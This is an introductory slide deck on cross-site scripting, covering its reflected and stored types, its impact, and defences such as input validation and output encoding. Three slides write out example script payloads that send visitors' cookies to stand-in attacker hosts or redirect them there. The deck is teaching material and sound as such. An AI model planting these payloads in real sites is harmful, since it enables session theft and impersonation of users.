Cross-site scripting (XSS) is a vulnerability that allows malicious code to be injected into web applications. There are two types of XSS attacks - reflected XSS occurs through links on other sites that pass malicious scripts, while stored XSS stores scripts in databases to be displayed for other users. XSS attacks can steal users' cookies and private information, redirect users to malicious sites, and perform actions as the victim. Developers can prevent XSS by validating all input data from users before displaying it and encoding output.

1. Cross-site
scripting

2. OVERVIEW
 CROSS-SITE SCRIPTING
 XSS (-ve) effects
 Cross Site Scripting Types
 Who is affected by XSS?
 Impact of XSS-Attacks
 Summary
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3. CROSS-SITE SCRIPTING (XSS)

Cross-site scripting or XSS is a defined as a
computer security vulnerability (weakness) found in
web applications.

XSS allows for code injection by malicious web users
into Internet pages viewed by other users.

In an XSS attack, the attacker gains the ability to see
private user IDs, passwords, credit card information
and other personal identification.
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4. XSS (-ve) effects
stealing other user’s cookies
 stealing their private information
 performing actions on behalf of other users
 redirecting to other websites
 Showing ads in hidden IFRAMES and popups

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5. Cross Site Scripting Types
Two known types:
 Reflected (Non-Persistent)
• Link in other website or email

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Stored (Persistent)
• Forum, bulletin board, feedback form
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6. Reflected (Non-persistent)…
The Reflected Cross-Site Scripting vulnerability is by far the most common
and well-known type. These holes show up when data provided by a web client is
used immediately by server-side scripts to generate a page of results for that
user. If unvalidated user-supplied data is included in the resulting page without
HTML encoding, this will allow client-side code to be injected into the dynamic
page. A classic example of this is in site search engines: if one searches for a
string which includes some HTML special characters, often the search string
will be redisplayed on the result page to indicate what was searched for, or will
at least include the search terms in the text box for easier editing. If all
occurrences of the search terms are not HTML entity encoded, an XSS hole will
result.
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7. 1
Send e-mail with <script> tags embedded in
the link.
http://mybank.com/
account.php?variable=”><script>document.lo
cation=’http://www.badguy.com/cgi-bin/
cookie.cgi’”%20+document.cookie</script>
Follows link and the script executes
2
www.badguy.com
Cookie collector
Malicious content dose not get stored in the server
The server bounces the original input to the victim without modification
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8. stored (persistent)….
In persistent type of XSS attack, XSS code gets saved into persistent storage like
database with other data and then it is visible to other users also. One example of this kind
of attacks is possible blog websites, where hacker can add their XSS code along with the
comment text and if no validation or filtering is present on the server, XSS code can
successfully saved into the database. After this if anyone (other users) open the page into
their browsers, XSS code can execute and can perform a variety of harmful actions. This
type of attack is more vulnerable, because Hacker can steal cookies and can make
modifications in the page. The risk with these kinds of attacks is any third party hacker can
use this vulnerability to perform some actions on behalf of other users.
see original post<script>window.location =
"http://www.hackers.com?yid=";</script>
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9. Public forum web site
1
Great message!
<script>
var img=new Image();
img.src=
"http://www.bad.com/CookieStealer/
Form1.aspx?s= "+document.cookie;
</script>
2
Downlaod
malicious code
Upload malicious scripting commands to
the public forum
Browse
Attacker
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Victim
The server stores the malicious content
The server serves the malicious content in its original form
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10. Who is affected by XSS?
 XSS attack’s first target is the Client
Client trusts server (Does not expect attack)
Browser executes malicious script
 But second target = Company running the Server
Loss of public image (Blame)
Loss of customer trust
Loss of money
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11. Impact of XSS-Attacks
Access to authentication credentials for Web application
 Cookies, Username and Password
 Normal users
Access to personal data (Credit card, Bank Account)
Access to business data (Bid details, construction details)
Misuse account (order expensive goods)
 High privileged users
Control over Web application
Control/Access: Web server machine
Control/Access: Backend / Database systems
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12.  Clint side
•Cookie Security
•Verify email
•Always update
 Server side
•Input validation (Black listing VS White listing)
•Encode all meta characters send to the client
•keep track of user sessions
•Web application firewall
•Always test
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13. Summary
 Cross-Site Scripting is extremly dangerous
 Identity theft, Impersonation
 Cause: Missing or in-sufficient input validation
 XSS-Prevention Best Practices
 Implement XSS-Prevention in application
 Do not trust client side validation
 Check and validate all input before processing
 Do not echo any input value without validation
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14. 



http://www.acunetix.com
http://en.wikipedia.org/wiki/Crosssite_scriptinghttp://www.google.com
http://www.google.com
XSS Attacks: Cross Site Scripting Exploits and
Defense :-Seth Fogie (Author), Jeremiah
Grossman (Author)

15. 12/15/2013
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